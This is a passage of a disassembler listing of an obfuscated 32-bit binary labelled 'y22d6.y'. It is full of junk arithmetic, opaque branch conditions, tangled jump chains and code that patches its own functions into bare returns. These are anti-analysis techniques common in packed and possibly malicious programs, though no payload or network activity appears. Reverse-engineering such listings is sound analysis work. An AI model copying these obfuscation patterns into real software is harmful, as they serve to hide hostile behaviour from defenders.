KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_439376: ; CODE XREF: y22d6.y.:loc_43E2B3j mov eax, [esp] push edx call sub_43EF0B ; START OF FUNCTION CHUNK FOR sub_438B66 loc_43937F: ; CODE XREF: sub_438B66:loc_444B3Cj mov eax, 92A798AFh push offset loc_43712F jmp nullsub_201 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- push 667AFFC6h pop eax add eax, 11D2087Fh or eax, 0AC6CE72Fh jnz loc_43E4AD ; START OF FUNCTION CHUNK FOR sub_44633F loc_4393A6: ; CODE XREF: sub_44633F-7034j jmp loc_441545 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- xor edi, 60FA153Eh and ecx, ebp jmp loc_448B52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B0EE loc_4393B8: ; CODE XREF: sub_43B0EE+11E77j sbb eax, ecx jmp loc_440044 ; END OF FUNCTION CHUNK FOR sub_43B0EE ; --------------------------------------------------------------------------- loc_4393BF: ; CODE XREF: y22d6.y.:loc_43C672j xchg ecx, [esp] call sub_4397E6 mov eax, 0E5254649h call sub_440A88 ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4393D1: ; CODE XREF: sub_44B17B+1A5Bj jmp loc_449587 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EF1 loc_4393D6: ; CODE XREF: sub_443EF1+329Bj jmp nullsub_173 ; END OF FUNCTION CHUNK FOR sub_443EF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_4393DB: ; CODE XREF: sub_4491D8+30AFj call sub_43CA1A push ecx loc_4393E1: ; CODE XREF: y22d6.y.:00444206j mov ecx, edi xchg ecx, [esp+4+var_4] push 6D08A376h xchg edx, [esp+8+var_8] jmp loc_44C486 ; END OF FUNCTION CHUNK FOR sub_4491D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_4393F3: ; CODE XREF: sub_44633F+3243j sub edx, 0EFD9EE7Fh shr esi, 2 cmp ebx, 0E1DE4D60h jmp loc_43F2ED ; END OF FUNCTION CHUNK FOR sub_44633F ; =============== S U B R O U T I N E ======================================= sub_439407 proc near ; CODE XREF: y22d6.y.:00444DCEj ; sub_43FAC6:loc_44CA61p ; FUNCTION CHUNK AT 00440A7D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441D03 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441D6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044438F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044763D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00449937 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_448917 jmp loc_441D6C sub_439407 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447940 loc_43941D: ; CODE XREF: sub_447940:loc_44E2D8j jl loc_43C4D0 ; END OF FUNCTION CHUNK FOR sub_447940 ; START OF FUNCTION CHUNK FOR sub_4411BD loc_439423: ; CODE XREF: sub_4411BD-72E0j jmp sub_43760A ; END OF FUNCTION CHUNK FOR sub_4411BD ; --------------------------------------------------------------------------- and ecx, 0FA1A9068h jmp loc_43EA31 ; --------------------------------------------------------------------------- push 0B3546DFBh pop eax rol eax, 1 xor eax, 64E41946h push eax push 0C2710072h jmp loc_44DF38 ; --------------------------------------------------------------------------- loc_43944C: ; DATA XREF: sub_4385ED+BCDAo add edx, 0D81F8322h xchg edx, [esp] jmp loc_448787 ; --------------------------------------------------------------------------- mov ds:dword_41E0F0, eax lea eax, nullsub_118 mov byte ptr [eax], 0C3h jmp loc_43E6D0 ; =============== S U B R O U T I N E ======================================= sub_43946E proc near ; CODE XREF: sub_408409+8p ; y22d6.y.:004450E1j ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00439FB7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004450EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447D50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AC79 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044BCE8 SIZE 00000015 BYTES push edx push 80CE201Dh jmp loc_44BCE8 sub_43946E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_439479: ; CODE XREF: sub_44AA69:loc_439EE2j ; y22d6.y.:loc_44C9E0j ; DATA XREF: ... push 0 call sub_442592 pop edx push esi push eax pop esi jmp loc_44D42C ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_439489: ; CODE XREF: sub_43C6D7:loc_438DD5j jnz loc_43D1E3 jmp loc_4447DE ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- test eax, ecx jmp loc_438BE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C694 loc_43949B: ; CODE XREF: sub_43C694:loc_43DA2Dj jz loc_437CFE jmp loc_4427EB ; END OF FUNCTION CHUNK FOR sub_43C694 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_366. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4394A7: ; CODE XREF: y22d6.y.:0043D874j jmp nullsub_331 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447A01 loc_4394AC: ; CODE XREF: sub_447A01:loc_43DD02j rol esi, 1Ah xor esi, 82C40A71h and esi, 6B081892h add esi, 0D83C1E3Dh jmp loc_44C024 ; END OF FUNCTION CHUNK FOR sub_447A01 ; --------------------------------------------------------------------------- loc_4394C6: ; CODE XREF: y22d6.y.:00442D67j mov edi, edx sub ecx, esi add edi, 0C589E11Fh shr esi, 1 ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4394D2: ; CODE XREF: sub_448EB6:loc_442D55j rol edx, 19h sub edx, 65309425h xor edx, 0D5C87A89h xchg edx, [esp-4+arg_0] jmp loc_4412EE ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- push offset sub_438077 jmp loc_441C88 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4394F3 proc near ; CODE XREF: sub_448E18j ; FUNCTION CHUNK AT 00439575 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043D4D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00440F65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443804 SIZE 00000005 BYTES push ebp mov ebp, esp call nullsub_4 mov eax, ds:dword_44659C call sub_4480DE mov esp, ebp xchg ebx, [esp+0] mov ebp, ebx jmp loc_443804 sub_4394F3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B878 loc_439511: ; CODE XREF: sub_43B878:loc_44868Cj mov eax, [ebp-30h] jmp loc_4425DB ; END OF FUNCTION CHUNK FOR sub_43B878 ; --------------------------------------------------------------------------- loc_439519: ; CODE XREF: y22d6.y.:loc_44D900j add esp, 0FFFFFFCCh call sub_43832B ; START OF FUNCTION CHUNK FOR sub_4422AA loc_439521: ; CODE XREF: sub_4422AA:loc_440DB0j push ecx push 1362A181h pop ecx add ecx, 3385FE70h sub ecx, 139F7832h test ecx, 80000h loc_43953A: ; CODE XREF: y22d6.y.:loc_43ED64j jmp loc_43ACC6 ; END OF FUNCTION CHUNK FOR sub_4422AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_43953F: ; CODE XREF: sub_43E185:loc_438EF1j mov ebx, [ebx] add eax, ebx pop ebx add eax, 18h push ebx jmp loc_437188 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_43954D: ; CODE XREF: sub_4416CB:loc_444031j pop esi or esi, 5559DB59h cmp esi, 40936BDh jmp loc_44E29F ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- popf push 91B81050h jmp sub_447C9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439C96 loc_43956A: ; CODE XREF: sub_439C96:loc_4385C6j jz loc_440308 jmp loc_440602 ; END OF FUNCTION CHUNK FOR sub_439C96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4394F3 loc_439575: ; CODE XREF: sub_4394F3:loc_440F65j add ebx, 5D341593h loc_43957B: ; CODE XREF: sub_448EB6:loc_4490FBj mov ebx, [ebx] xchg ebx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_4394F3 ; --------------------------------------------------------------------------- loc_439581: ; CODE XREF: y22d6.y.:004454FDj jmp near ptr dword_437434+62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B566 loc_439586: ; CODE XREF: sub_43B566+872Aj jmp loc_44E0AB ; END OF FUNCTION CHUNK FOR sub_43B566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A46F loc_43958B: ; CODE XREF: sub_44A46F-D162j jmp nullsub_216 ; END OF FUNCTION CHUNK FOR sub_44A46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_439590: ; CODE XREF: sub_43C3DD-2B30j jmp loc_43AF2C ; END OF FUNCTION CHUNK FOR sub_43C3DD ; =============== S U B R O U T I N E ======================================= sub_439595 proc near ; CODE XREF: sub_448EB6:loc_43C3B3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437353 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 004420DE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004482A8 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044A91A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044A9AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D9D7 SIZE 0000000D BYTES push ebx mov ebx, ebp jmp loc_44A9AD sub_439595 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B10 loc_43959D: ; CODE XREF: sub_437B10+2962j xchg ecx, [esp+4+var_4] jmp loc_447DAC ; END OF FUNCTION CHUNK FOR sub_437B10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44ABDD loc_4395A5: ; CODE XREF: sub_44ABDD:loc_43FC0Fj mov ecx, ebp push offset sub_443906 jmp loc_43A419 ; END OF FUNCTION CHUNK FOR sub_44ABDD ; =============== S U B R O U T I N E ======================================= sub_4395B1 proc near ; CODE XREF: y22d6.y.:004461D6j ; sub_44D088+Cp ; FUNCTION CHUNK AT 004412BB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044C1DB SIZE 00000002 BYTES xchg ebx, [esp+0] pop ebx mov [ebp-8], edx mov [ebp-4], eax mov edx, [ebp-8] mov eax, [ebp-4] jmp loc_4412BB sub_4395B1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4395C6: ; CODE XREF: y22d6.y.:00449FA9j jz loc_43AEEF ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_4395CC: ; CODE XREF: sub_43ED4E+11j jmp loc_44B8C9 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; --------------------------------------------------------------------------- sbb eax, 0DA0BDB3h loc_4395D7: ; CODE XREF: y22d6.y.:loc_44B037j jmp loc_43AEE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_4395DC: ; CODE XREF: sub_44D7E0:loc_43AC18j mov eax, [esp+0] push eax mov eax, edx xchg eax, [esp+4+var_4] call sub_43E913 jmp loc_437853 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B39 loc_4395EF: ; CODE XREF: sub_438B39+Fj jz loc_439AF8 jmp loc_43D273 ; END OF FUNCTION CHUNK FOR sub_438B39 ; --------------------------------------------------------------------------- loc_4395FA: ; CODE XREF: y22d6.y.:0044CC37j call sub_44B06F mov eax, 6A74FD15h push esi push 0DA73387Ah pop esi sub esi, 7E248669h xor esi, 6EC919F6h jmp loc_43A33A ; --------------------------------------------------------------------------- locret_43961C: ; CODE XREF: y22d6.y.:004417ECj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4408F2 loc_43961D: ; CODE XREF: sub_4408F2:loc_44E40Dj mov eax, [eax+24h] add eax, [ebp-4] call sub_43D9D2 loc_439628: ; CODE XREF: y22d6.y.:00447C1Fj jmp sub_444427 ; END OF FUNCTION CHUNK FOR sub_4408F2 ; --------------------------------------------------------------------------- mov ds:off_41E0C0, eax lea eax, sub_43DA98 mov byte ptr [eax], 0C3h jmp sub_43DA98 ; --------------------------------------------------------------------------- loc_439641: ; CODE XREF: y22d6.y.:0043E901j push offset sub_43FC5D jmp loc_442AB0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43964D: ; CODE XREF: y22d6.y.:00441D72j jmp loc_44B595 ; --------------------------------------------------------------------------- mov ds:off_41E194, eax lea eax, sub_44256D mov byte ptr [eax], 0C3h jmp sub_44256D ; --------------------------------------------------------------------------- call nullsub_297 jmp ds:dword_41E198 ; --------------------------------------------------------------------------- xchg edx, ebp jmp sub_44146B ; --------------------------------------------------------------------------- loc_439678: ; CODE XREF: y22d6.y.:0043C748j pop esi jmp loc_43AAEA ; --------------------------------------------------------------------------- loc_43967E: ; CODE XREF: y22d6.y.:0044DB39j jz loc_43CA7C ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439684: ; CODE XREF: sub_448EB6-8895j jmp loc_441122 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BF91 loc_439689: ; CODE XREF: sub_44BF91-144F5j jmp loc_44D57F ; END OF FUNCTION CHUNK FOR sub_44BF91 ; --------------------------------------------------------------------------- ja loc_44BCBD mov ebp, [ecx] cdq jmp loc_43CA78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43969C: ; CODE XREF: sub_4432B8+2FAj call sub_43E625 loc_4396A1: ; CODE XREF: sub_4448C7-4CE2j pop edi retn ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_4396A3: ; CODE XREF: sub_43FBC3-5C2Cj rol eax, 4 push eax call sub_4480DE retn ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- loc_4396AD: ; CODE XREF: y22d6.y.:0043F478j jmp loc_43FDCF ; =============== S U B R O U T I N E ======================================= sub_4396B2 proc near ; CODE XREF: sub_44DB81-15AABp ; y22d6.y.:00438B84j ... ; FUNCTION CHUNK AT 004427E6 SIZE 00000005 BYTES push ebp push offset loc_43D4B7 jmp loc_4427E6 sub_4396B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_4396BD: ; CODE XREF: sub_44BCC2+1j push 4013B6BDh pop edx and edx, 2B17764Dh jnz loc_443FCE loc_4396CF: ; CODE XREF: sub_44BCC2-A72Ej jmp loc_43AA1F ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DABB loc_4396D4: ; CODE XREF: sub_43DABB+Dj jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_43DABB ; --------------------------------------------------------------------------- xor ecx, 0F2EDC8F9h jmp loc_443FC8 ; --------------------------------------------------------------------------- mov edx, esi jmp sub_43AD19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A5E5 loc_4396EB: ; CODE XREF: sub_44A5E5-58FBj jz loc_4371C3 loc_4396F1: ; CODE XREF: y22d6.y.:0043A9B6j jmp sub_44C59C ; END OF FUNCTION CHUNK FOR sub_44A5E5 ; --------------------------------------------------------------------------- and edx, 0F73DAEE6h and esi, 0A30D5261h or edi, edx cmp ebp, 4ABEA7CCh jmp loc_443415 ; --------------------------------------------------------------------------- loc_43970F: ; CODE XREF: y22d6.y.:0043C093j pop edi and edi, 0EEECF7D4h add edi, 566921C5h xor edi, 78E3A748h cmp edi, 0B613A5A5h jmp loc_43ADA6 ; --------------------------------------------------------------------------- loc_43972D: ; DATA XREF: sub_44CD2E:loc_44CD31o pop ebp push 0A2482A07h pop eax xor eax, 5B2B2FFFh sub eax, ds:4000E3h jmp loc_44461D ; --------------------------------------------------------------------------- loc_439745: ; CODE XREF: y22d6.y.:004421B1j shr ebp, 16h sbb edx, edi xchg edx, [ebx] ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_43974C: ; CODE XREF: sub_44AEDA:loc_44219Aj add eax, 7A046905h add eax, ebp add eax, 0A607D586h mov eax, [eax] mov dx, [eax+2] jmp loc_4440D8 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; =============== S U B R O U T I N E ======================================= sub_439765 proc near ; DATA XREF: sub_44E357-C433o add eax, 6328D507h add eax, ebp loc_43976D: ; CODE XREF: y22d6.y.:loc_43D04Fj add eax, 0C63FAB5h mov eax, [eax] call sub_445B15 loc_43977A: ; CODE XREF: y22d6.y.:0044E606j jmp loc_44C527 sub_439765 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_43977F: ; CODE XREF: y22d6.y.:loc_43BCCBj ; sub_43FAC6:loc_44CA66j and ebx, 5B55C0E0h loc_439785: ; CODE XREF: sub_4441D9+7F25j jnz loc_4389A7 sub ecx, ebx ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43978D: ; CODE XREF: sub_44B17B:loc_440C6Dj test ebx, ecx jmp loc_43EF13 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_439794: ; CODE XREF: y22d6.y.:0043C7B6j or eax, 0EB4349EFh ; =============== S U B R O U T I N E ======================================= sub_43979A proc near ; CODE XREF: sub_444871-3EEFp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00443E37 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add eax, 56ECA621h xchg eax, [esp-4+arg_0] jmp loc_443E37 sub_43979A endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ecx, [edi] jmp sub_43B035 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_4397B3: ; CODE XREF: sub_438A94+8j pop ebx rol ebx, 0Eh or ebx, 98359E76h rol ebx, 0Fh jmp loc_444918 ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449641 loc_4397C5: ; CODE XREF: sub_449641:loc_43F6E0j and eax, 85F86FB6h and ebx, ecx jmp loc_43DDA5 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- mov [ecx], ebx jmp sub_43991F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_4397D9: ; CODE XREF: sub_437B01+4j ; sub_437B01+2E65j ... jmp loc_445A3B ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_4397DE: ; CODE XREF: sub_4450FD-C674j ; sub_437B01+5B9Cj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44617A loc_4397E1: ; CODE XREF: sub_44617A+9j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_44617A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4397E6 proc near ; CODE XREF: sub_44B06F:loc_43731Dj ; y22d6.y.:004393C2p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437348 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449FBC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B68E SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_437348 sub_4397E6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_4397EE: ; CODE XREF: sub_4416CB:loc_44E2A5j add esi, 84BF2206h xchg esi, [esp-4+arg_0] jmp loc_43E009 ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- jmp loc_40E1B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_439801: ; CODE XREF: sub_44439D+Bj jmp nullsub_70 ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_439806: ; CODE XREF: sub_43D20E+2611j jmp loc_438284 ; END OF FUNCTION CHUNK FOR sub_43D20E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov ebp, esp jmp loc_43A863 ; --------------------------------------------------------------------------- mov esi, ebp jmp sub_43CFF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43981A: ; CODE XREF: sub_448EB6:loc_4428A0j pop esi ror eax, 12h sub eax, 92686A55h mov edx, [esp-8+arg_4] push offset loc_438748 jmp nullsub_336 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4408CF loc_439832: ; CODE XREF: sub_4408CF+8A6Aj jmp sub_43F7FF ; END OF FUNCTION CHUNK FOR sub_4408CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F501 loc_439837: ; CODE XREF: sub_43F501+1D27j jmp loc_448EC9 ; END OF FUNCTION CHUNK FOR sub_43F501 ; --------------------------------------------------------------------------- loc_43983C: ; CODE XREF: y22d6.y.:0044BB10j jz loc_43ED6A ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_439842: ; CODE XREF: sub_44AEDA+106Dj jmp loc_43FE8E ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_439847: ; CODE XREF: sub_442856+10j jmp loc_44E47F ; END OF FUNCTION CHUNK FOR sub_442856 ; --------------------------------------------------------------------------- ror esi, 16h cmp ecx, 79465E6Fh jmp loc_43BCCB ; --------------------------------------------------------------------------- loc_43985A: ; DATA XREF: sub_4432B8:loc_44B0DBo xchg eax, [esp] jmp sub_43F7FF ; --------------------------------------------------------------------------- push edx push 0AC94BACFh pop edx jmp loc_43F143 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_43986E: ; CODE XREF: sub_444427+3EE0j push esi push 0C2C489E4h pop esi or esi, ds:4000E3h cmp esi, 8A6ADE56h jmp loc_43FCA6 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DD42 loc_439886: ; CODE XREF: sub_43DD42:loc_44C550j xor edx, edx push edx push offset loc_44CA7A jmp nullsub_211 ; END OF FUNCTION CHUNK FOR sub_43DD42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448B71 loc_439893: ; CODE XREF: sub_448B71:loc_44D7FAj test eax, 100000h jmp loc_4446B3 ; END OF FUNCTION CHUNK FOR sub_448B71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C3DD loc_43989E: ; CODE XREF: sub_43C3DD+Ej pop edi mov eax, ds:dword_44183C or eax, eax jnz loc_43BA94 jmp loc_439590 ; END OF FUNCTION CHUNK FOR sub_43C3DD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_4398B3: ; CODE XREF: sub_44B17B-FF7Fj jmp loc_44B30C ; END OF FUNCTION CHUNK FOR sub_44B17B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4398B9: ; CODE XREF: y22d6.y.:00437DFEj jmp locret_440B40 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44256D loc_4398BF: ; CODE XREF: sub_44256D-19C8j jmp loc_445D7F ; END OF FUNCTION CHUNK FOR sub_44256D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4398C5: ; CODE XREF: y22d6.y.:0043C765j jmp loc_44424F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_4398CA: ; CODE XREF: sub_439051+70E5j jnz loc_43C7EA cdq popf loc_4398D2: ; CODE XREF: sub_442FA7:loc_439006j jmp loc_445978 ; END OF FUNCTION CHUNK FOR sub_439051 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4398D8: ; CODE XREF: sub_4432B8:loc_437F19j ; sub_44D371-FCBBj jmp loc_43E863 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4387EA loc_4398DD: ; CODE XREF: sub_4387EA+12j jmp loc_441162 ; END OF FUNCTION CHUNK FOR sub_4387EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_4398E2: ; CODE XREF: sub_43E86C:loc_445CDBj mov ebp, esp push ecx push edx mov edx, ebp xchg edx, [esp+0Ch+var_C] mov eax, [ebp+8] mov ecx, [eax] jmp loc_44372B ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4398F5: ; CODE XREF: sub_448EB6+49DDj mov eax, offset dword_43C9BC jmp loc_438E20 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_4398FF proc near ; CODE XREF: sub_447CBE+267j ; sub_44B1D2:loc_44A045j var_34 = dword ptr -34h ; FUNCTION CHUNK AT 004429A2 SIZE 00000017 BYTES add esp, 0FFFFFFD0h mov eax, 12h push edx push 0DF61EC21h pop edx xor edx, ds:4000E1h jnz loc_4429A2 loc_43991A: ; CODE XREF: sub_44BCC2-3002j jmp loc_43E1F2 sub_4398FF endp ; =============== S U B R O U T I N E ======================================= sub_43991F proc near ; CODE XREF: y22d6.y.:004397D4j ; sub_44243B+A6E2p ; FUNCTION CHUNK AT 0044856C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044A339 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add edx, 34C4C571h mov edx, [edx] jmp loc_44A339 sub_43991F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_439930: ; CODE XREF: y22d6.y.:00440AB1j xchg eax, ecx ; =============== S U B R O U T I N E ======================================= sub_439932 proc near ; CODE XREF: sub_44A8FD+13p ; FUNCTION CHUNK AT 00438FCA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043A5C1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043CBC8 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jz loc_438FCA mov ecx, [ebx+ecx+0Ch] jmp loc_43A5C1 sub_439932 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_439945 proc near ; CODE XREF: sub_447268:loc_439CE5p ; y22d6.y.:004440A2j xchg eax, [esp+0] pop eax push edx push offset loc_43F784 jmp nullsub_20 sub_439945 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_439954: ; CODE XREF: sub_448EB6:loc_438C48j call sub_43CA1A mov ds:dword_41E11C, eax lea eax, nullsub_324 mov byte ptr [eax], 0C3h jmp loc_4459E2 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- xchg edi, [esp] jmp loc_439C1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438BEC loc_439975: ; CODE XREF: sub_438BEC+7j test byte ptr [eax-10h], 38h jnz loc_443ABE mov eax, [ebp+8] push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h loc_43998D: ; CODE XREF: sub_43B98D:loc_44C4CDj setz al jmp loc_441E91 ; END OF FUNCTION CHUNK FOR sub_438BEC ; --------------------------------------------------------------------------- push 0BAD6CA39h pop eax sub eax, 0B2A50193h xor eax, 742A49ADh add eax, 91B643E7h push esi jmp loc_44BC6B ; --------------------------------------------------------------------------- and eax, 488AE410h ; START OF FUNCTION CHUNK FOR sub_43704E loc_4399B9: ; CODE XREF: sub_43704E+15291j rol eax, 0Ch push offset sub_43910C jmp loc_44BFAF ; END OF FUNCTION 